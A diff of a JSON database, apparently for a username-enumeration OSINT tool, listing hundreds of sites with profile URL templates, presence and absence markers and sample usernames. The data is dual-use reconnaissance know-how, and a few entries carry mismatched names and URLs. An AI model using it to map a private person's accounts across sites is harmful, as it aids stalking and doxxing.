+ "community.startupnation.com": { + "absenceStrs": [ + "Default404" + ], + "presenseStrs": [ + "ProfileOptions" + ], + "url": "https://community.startupnation.com/profile/{username}", + "urlMain": "https://community.startupnation.com", + "usernameClaimed": "John122", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 56319 + }, + "hi5": { + "absenceStrs": [ + "birthDay" + ], + "presenseStrs": [ + "provider", + "loggedInUserName", + "profile_banner", + "main", + "groupName" + ], + "url": "http://www.hi5.com/{username}", + "urlMain": "http://www.hi5.com", + "usernameClaimed": "johnnflorence", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "networking" + ], + "alexaRank": 10971 + }, + "mymfb.com": { + "absenceStrs": [ + "Page Not Found" + ], + "presenseStrs": [ + "profile-info" + ], + "url": "https://mymfb.com/{username}/", + "urlMain": "https://mymfb.com", + "usernameClaimed": "mortician", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "networking" + ], + "alexaRank": 1513399 + }, + "Baidu": { + "absenceStrs": [ + "error_404_iframe" + ], + "presenseStrs": [ + "user_name" + ], + "url": "https://tieba.baidu.com/home/main?un={username}", + "urlMain": "https://tieba.baidu.com", + "usernameClaimed": "reneecong", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn" + ], + "alexaRank": 3 + }, + "Douban": { + "absenceStrs": [ + "\u8fd4\u56de\u9996\u9875" + ], + "presenseStrs": [ + "db-usr-profile" + ], + "url": "https://www.douban.com/people/{username}/", + "urlMain": "https://www.douban.com", + "usernameClaimed": "darkmage", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "cn" + ], + "alexaRank": 56 + }, + "Dumpor": { + "absenceStrs": [ + "Profile doesn't exist" + ], + "presenseStrs": [ + "user__title" + ], + "url": "https://dumpor.com/v/{username}", + "urlMain": "https://dumpor.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "source": "Instagram", + "tags": [ + "photo" + ], + "alexaRank": 17764 + }, + "forum.leerlingen.com": { + "urlSubpath": "/vbb", + "disabled": true, + "urlMain": "http://forum.leerlingen.com", + "engine": "vBulletin", + "usernameClaimed": "john122", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ], + "alexaRank": 1976440 + }, + "Porevo": { + "absenceStrs": [ + "last_news" + ], + "presenseStrs": [ + "profile_all" + ], + "url": "https://porevo.site/index.php?{username}", + "urlMain": "https://porevo.site", + "usernameClaimed": "ejdolon", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "porn" + ], + "alexaRank": 452197 + }, + "discuss.hashicorp.com": { + "urlMain": "https://discuss.hashicorp.com", + "engine": "Discourse", + "usernameClaimed": "jfinnigan", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "tech" + ], + "alexaRank": 19997 + }, + "Blogger (by GAIA id)": { + "absenceStrs": [ + "/edit-profile.g" + ], + "presenseStrs": [ + ">" + ], + "url": "http://{username}.weebly.com/", + "urlMain": "http://weebly.com", + "usernameClaimed": "designguild", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "business" + ], + "alexaRank": 385 + }, + "HiddenAnswers": { + "tags": [ + "q&a", + "tor" + ], + "protocol": "tor", + "url": "http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion/user/{username}", + "urlMain": "http://answerszuvs3gg2l64e6hmnryudl5zgrmwm3vh65hzszdghblddvfiqd.onion", + "usernameClaimed": "theredqueen", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "qa-part-form-profile" + ] + }, + "{username}.com": { + "protocol": "dns", + "url": "{username}.com", + "urlMain": "{username}.com", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.pro": { + "protocol": "dns", + "url": "{username}.pro", + "urlMain": "{username}.pro", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.me": { + "protocol": "dns", + "url": "{username}.me", + "urlMain": "{username}.me", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.biz": { + "protocol": "dns", + "url": "{username}.biz", + "urlMain": "{username}.biz", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.email": { + "protocol": "dns", + "url": "{username}.email", + "urlMain": "{username}.email", + "usernameClaimed": "phone", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.guru": { + "protocol": "dns", + "url": "{username}.guru", + "urlMain": "{username}.guru", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "{username}.ddns.net": { + "protocol": "dns", + "url": "{username}.ddns.net", + "urlMain": "{username}.ddns.net", + "usernameClaimed": "repack", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "status_code" + }, + "Ameblo": { + "absenceStrs": [ + "THROW_NOT_FOUND_EXCEPTION" + ], + "presenseStrs": [ + "profile" + ], + "url": "https://ameblo.jp/{username}", + "urlMain": "https://ameblo.jp", + "usernameClaimed": "senpai", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 374, + "tags": [ + "blog", + "jp" + ] + }, + "Observable": { + "absenceStrs": [ + "Observable" + ], + "presenseStrs": [ + "profile_email" + ], + "url": "https://observablehq.com/@{username}", + "urlMain": "https://observablehq.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 25120, + "tags": [ + "sharing" + ] + }, + "galactictalk.org": { + "urlMain": "https://galactictalk.org", + "engine": "Flarum", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 935585 + }, + "discuss.bootstrapped.fm": { + "urlMain": "https://discuss.bootstrapped.fm", + "engine": "Discourse", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2691289 + }, + "discourse.mozilla.org": { + "urlMain": "https://discourse.mozilla.org", + "engine": "Discourse", + "usernameClaimed": "adamlui", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 132 + }, + "ipinit.in": { + "disabled": true, + "urlMain": "http://ipinit.in", + "engine": "Wordpress/Author", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 462514 + }, + "donorbox": { + "absenceStrs": [ + "/orgs/new" + ], + "presenseStrs": [ + "donation_first_name" + ], + "url": "https://donorbox.org/{username}", + "urlMain": "https://donorbox.org", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 19812, + "tags": [ + "finance" + ] + }, + "telescope.ac": { + "disabled": true, + "absenceStrs": [ + ">Not found" + ], + "presenseStrs": [ + "og:site_name", + "alternate", + "article", + "project", + "og:title" + ], + "url": "https://telescope.ac/{username}", + "urlMain": "https://telescope.ac", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 167480, + "tags": [ + "blog" + ] + }, + "sessionize.com": { + "absenceStrs": [ + "Page Not Found" + ], + "presenseStrs": [ + "role=", + "filter" + ], + "url": "https://sessionize.com/{username}/", + "urlMain": "https://sessionize.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 132025, + "tags": [ + "business" + ] + }, + "getmakerlog.com": { + "absenceStrs": [ + "Home | Makerlog" + ], + "presenseStrs": [ + "profile", + "first_name", + "username\\" + ], + "url": "https://getmakerlog.com/@{username}", + "urlMain": "https://getmakerlog.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 224990, + "tags": [ + "business" + ] + }, + "giphy.com": { + "absenceStrs": [ + "404 Not Found" + ], + "presenseStrs": [ + "Giphy", + "al:ios:app_name" + ], + "url": "https://giphy.com/channel/{username}", + "urlMain": "https://giphy.com", + "usernameClaimed": "theabbie", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 695, + "tags": [ + "video" + ] + }, + "clarity.fm": { + "absenceStrs": [ + "On Demand Business Advice" + ], + "presenseStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c" + ], + "url": "https://partnerkin.com/user/{username}", + "urlMain": "https://partnerkin.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "tags": [ + "finance" + ], + "alexaRank": 43267 + }, + "hozpitality": { + "presenseStrs": [ + "USERNAME" + ], + "url": "https://www.hozpitality.com/{username}/profile", + "urlMain": "https://www.hozpitality.com", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "response_url", + "alexaRank": 227277 + }, + "blogs.klerk.ru": { + "presenseStrs": [ + "profile-links" + ], + "url": "https://blogs.klerk.ru/users/{username}/", + "urlMain": "https://blogs.klerk.ru", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 6859 + }, + "Worldis.me": { + "absenceStrs": [ + "user_password", + "send_email" + ], + "presenseStrs": [ + "my_profile", + "profile_upi", + "UserInfo" + ], + "url": "http://en.worldis.me/{username}", + "urlMain": "http://en.worldis.me", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3233509, + "tags": [ + "ru" + ] + }, + "photoshop-kopona.com": { + "absenceStrs": [ + "<div id='dle-content'></div></div></main></div></div><footer class=\"footer\">" + ], + "presenseStrs": [ + "uspusertitle" + ], + "url": "https://photoshop-kopona.com/ru/user/{username}/", + "urlMain": "https://photoshop-kopona.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 44106, + "tags": [ + "ru" + ] + }, + "dumskaya.net": { + "absenceStrs": [ + "><img class=nobo src=/banner/ps2_/ alt=" + ], + "presenseStrs": [ + "><img class=nobo src=/banner/prague_/ alt=" + ], + "url": "https://dumskaya.net/user/{username}/", + "urlMain": "https://dumskaya.net", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 73617, + "tags": [ + "ru" + ] + }, + "rblx.trade": { + "absenceStrs": [ + "isRblxTradeException" + ], + "presenseStrs": [ + "userId" + ], + "url": "https://rblx.trade/p/{username}", + "urlMain": "https://rblx.trade", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 362185, + "source": "Roblox", + "tags": [ + "gaming" + ] + }, + "monitoringminecraft.ru": { + "absenceStrs": [ + "shadowi" + ], + "presenseStrs": [ + "small" + ], + "url": "https://monitoringminecraft.ru/player/{username}", + "urlMain": "https://monitoringminecraft.ru", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 115209, + "tags": [ + "gaming" + ] + }, + "profi.ru": { + "absenceStrs": [ + "page-404__paragraph" + ], + "presenseStrs": [ + "PROFILE", + "profiles", + "profileOIO", + "fullProfile", + "profileUGC2" + ], + "url": "https://profi.ru/profile/{username}/", + "urlMain": "https://profi.ru", + "usernameClaimed": "EgorovRV", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 12037, + "tags": [ + "freelance" + ] + }, + "app.airnfts.com": { + "absenceStrs": [ + "user-not-found-div" + ], + "presenseStrs": [ + "username", + "ownerUsername", + "creatorUsername", + "name", + "user" + ], + "url": "https://app.airnfts.com/creators/{username}", + "urlMain": "https://app.airnfts.com", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 30223 + }, + "xgm.guru": { + "presenseStrs": [ + "\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c:" + ], + "absenceStrs": [ + "\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f" + ], + "url": "https://xgm.guru/user/{username}", + "urlMain": "https://xgm.guru", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 692341, + "tags": [ + "forum", + "gaming" + ] + }, + "giters.com": { + "absenceStrs": [ + "This page could not be found" + ], + "presenseStrs": [ + "nofollow" + ], + "url": "https://giters.com/{username}", + "urlMain": "https://giters.com", + "usernameClaimed": "soxoj", + "source": "GitHub", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 16094, + "tags": [ + "coding" + ] + }, + "githubplus.com": { + "absenceStrs": [ + "preconnect" + ], + "presenseStrs": [ + "collapse" + ], + "url": "https://githubplus.com/{username}", + "urlMain": "https://githubplus.com", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 222994, + "source": "GitHub", + "tags": [ + "coding" + ] + }, + "coder.social": { + "disabled": true, + "absenceStrs": [ + "<title>Coder Social Home" + ], + "presenseStrs": [ + "nofollow" + ], + "url": "https://coder.social/{username}", + "urlMain": "https://coder.social", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 2318473, + "source": "GitHub", + "tags": [ + "coding" + ] + }, + "tg.rip": { + "disabled": true, + "absenceStrs": [ + "btn_label" + ], + "presenseStrs": [ + "\u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + ], + "url": "https://tg.rip/{username}", + "urlMain": "https://tg.rip", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 5553957, + "source": "Telegram", + "tags": [ + "messaging" + ] + }, + "Realmeye-graveyard": { + "absenceStrs": [ + "player-not-found" + ], + "presenseStrs": [ + "entity-name" + ], + "regexCheck": "^[a-zA-Z]+$", + "url": "https://www.realmeye.com/graveyard-of-player/{username}", + "urlMain": "https://www.realmeye.com", + "usernameClaimed": "Eatil", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 69701, + "source": "Realmeye", + "tags": [ + "gaming" + ] + }, + "mel.fm": { + "absenceStrs": [ + "l-page-404__text-not-found" + ], + "presenseStrs": [ + "\u0412\u0432\u0435\u0434\u0438\u0442\u0435 e-mail" + ], + "url": "https://mel.fm/blog/{username}", + "urlMain": "https://mel.fm", + "usernameClaimed": "ivan-ivanov30", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 15670, + "tags": [ + "ru" + ] + }, + "tikbuddy.com": { + "presenseStrs": [ + "nickName" + ], + "url": "https://tikbuddy.com/en/tiktok/{username}", + "urlMain": "https://tikbuddy.com", + "usernameClaimed": "sergey.ivanov29", + "usernameUnclaimed": "noonewouldeverusethis9", + "checkType": "message", + "alexaRank": 187661, + "source": "TikTok", + "tags": [ + "hobby", + "video" + ] + }, + "Djagi": { + "absenceStrs": [ + "noindex" + ], + "presenseStrs": [ + "profile-menu" + ], + "url": "https://www.djagi.com/cards/{username}", + "urlMain": "https://www.djagi.com", + "usernameClaimed": "ivan.ivanov28", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 63627, + "tags": [ + "bg" + ] + }, + "kazanlashkigalab.com": { + "urlMain": "https://kazanlashkigalab.com", + "engine": "Wordpress/Author", + "usernameClaimed": "boncho-bonev", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "kz" + ] + }, + "Yumpu": { + "disabled": true, + "absenceStrs": [ + "float-left" + ], + "presenseStrs": [ + "yp-grid-mag-container yp-content-container" + ], + "url": "https://www.yumpu.com/user/{username}", + "urlMain": "https://www.yumpu.com", + "usernameClaimed": "26vadim.ivanov26", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 951, + "tags": [ + "stock" + ] + }, + "999.md": { + "absenceStrs": [ + "error-404-page" + ], + "presenseStrs": [ + "user-profile" + ], + "url": "https://999.md/ru/profile/{username}", + "urlMain": "https://999.md", + "usernameClaimed": "ivanov25", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3344, + "tags": [ + "freelance", + "md", + "shopping" + ] + }, + "Muckrack": { + "absenceStrs": [ + "(404) Page Not Found" + ], + "presenseStrs": [ + "profile-details-item" + ], + "url": "https://muckrack.com/{username}", + "urlMain": "https://muckrack.com", + "usernameClaimed": "adam-flomenbaum", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 4820, + "tags": [ + "us" + ] + }, + "Aparat": { + "absenceStrs": [ + "404 - Page Not Found" + ], + "presenseStrs": [ + "Profile", + "username", + "ProfileMore", + "name", + "provider" + ], + "urlProbe": "https://www.aparat.com/api/fa/v1/user/user/information/username/{username}", + "url": "https://www.aparat.com/{username}", + "urlMain": "https://www.aparat.com", + "usernameClaimed": "BoHBiG", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 61, + "tags": [ + "ir", + "video" + ] + }, + "airlinepilot.life": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://airlinepilot.life/u/{username}" + }, + "algowiki-project.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://algowiki-project.org/en/User:{username}" + }, + "alimero.ru": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://alimero.ru/profile/{username}" + }, + "baseball-reference.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://baseball-reference.com/bullpen/User:{username}" + }, + "bbpress.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bbpress.org/forums/profile/{username}/" + }, + "betawiki.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://betawiki.net/wiki/User:{username}" + }, + "bitcoin.it": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bitcoin.it/wiki/User:{username}" + }, + "bookafly.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bookafly.com/users/{username}" + }, + "brainscale.net": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://brainscale.net/users/{username}" + }, + "bulbapedia.bulbagarden.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bulbapedia.bulbagarden.net/wiki/User:{username}" + }, + "bulbapp.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://bulbapp.com/{username}" + }, + "caddy.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://caddy.community/u/{username}" + }, + "chiefdelphi.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://chiefdelphi.com/u/{username}" + }, + "choice.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://choice.community/u/{username}" + }, + "cloudromance.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cloudromance.com/{username}" + }, + "club.myce.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://club.myce.com/u/{username}" + }, + "cnblogs.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cnblogs.com/{username}" + }, + "commons.commondreams.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://commons.commondreams.org/u/{username}" + }, + "community.cartalk.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.cartalk.com/u/{username}" + }, + "community.gamedev.tv": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.gamedev.tv/u/{username}" + }, + "community.gemsofwar.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.gemsofwar.com/u/{username}" + }, + "community.glowforge.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.glowforge.com/u/{username}" + }, + "community.home-assistant.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.home-assistant.io/u/{username}" + }, + "community.infiniteflight.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.infiniteflight.com/u/{username}" + }, + "community.kodular.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.kodular.io/u/{username}" + }, + "community.letsencrypt.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.letsencrypt.org/u/{username}" + }, + "community.mycroft.ai": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.mycroft.ai/u/{username}" + }, + "community.mydevices.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.mydevices.com/u/{username}" + }, + "community.quickfile.co.uk": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.quickfile.co.uk/u/{username}" + }, + "community.roonlabs.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.roonlabs.com/u/{username}" + }, + "community.rstudio.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.rstudio.com/u/{username}" + }, + "community.unbounce.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.unbounce.com/u/{username}" + }, + "creationwiki.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://creationwiki.org/User:{username}" + }, + "credly.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://credly.com/users/{username}" + }, + "cruiserswiki.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cruiserswiki.org/wiki/User:{username}" + }, + "dandwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dandwiki.com/wiki/User:{username}" + }, + "dariawiki.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dariawiki.org/wiki/User:{username}" + }, + "detectiveconanworld.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://detectiveconanworld.com/wiki/User:{username}" + }, + "develop.consumerium.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://develop.consumerium.org/wiki/User:{username}" + }, + "devforum.zoom.us": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://devforum.zoom.us/u/{username}" + }, + "discourse.huel.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.huel.com/u/{username}" + }, + "discourse.julialang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.julialang.org/u/{username}" + }, + "discourse.mc-stan.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.mc-stan.org/u/{username}" + }, + "discourse.nodered.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.nodered.org/u/{username}" + }, + "discourse.snowplowanalytics.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.snowplowanalytics.com/u/{username}" + }, + "discoursedb.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discoursedb.org/wiki/User:{username}" + }, + "discuss.circleci.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.circleci.com/u/{username}" + }, + "discuss.elastic.co": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.elastic.co/u/{username}" + }, + "discuss.huel.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.huel.com/u/{username}" + }, + "discuss.ipfs.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.ipfs.io/u/{username}" + }, + "discuss.kotlinlang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.kotlinlang.org/u/{username}" + }, + "discuss.kubernetes.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.kubernetes.io/u/{username}" + }, + "discuss.newrelic.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.newrelic.com/u/{username}" + }, + "discuss.pixls.us": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.pixls.us/u/{username}" + }, + "discuss.prosemirror.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.prosemirror.net/u/{username}" + }, + "discuss.pytorch.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.pytorch.org/u/{username}" + }, + "discussion.dreamhost.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discussion.dreamhost.com/u/{username}" + }, + "dnd-wiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dnd-wiki.org/wiki/User:{username}" + }, + "dogcraft.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dogcraft.net/wiki/User:{username}" + }, + "elixirforum.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://elixirforum.com/u/{username}" + }, + "en.brickimedia.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.brickimedia.org/wiki/User:{username}" + }, + "en.illogicopedia.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.illogicopedia.org/wiki/User:{username}" + }, + "en.uncyclopedia.co": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.uncyclopedia.co/wiki/User:{username}" + }, + "en.wikifur.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.wikifur.com/wiki/User:{username}" + }, + "encyc.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://encyc.org/wiki/User:{username}" + }, + "Pixilart": { + "tags": [ + "art" + ], + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pixilart.com/{username}" + }, + "eve.community": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://eve.community/u/{username}" + }, + "exploretalent.com": { + "checkType": "message", + "presenseStrs": [ + "userNode\":{\"id\"" + ], + "absenceStrs": [ + "userNode\":{}" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://exploretalent.com/{username}" + 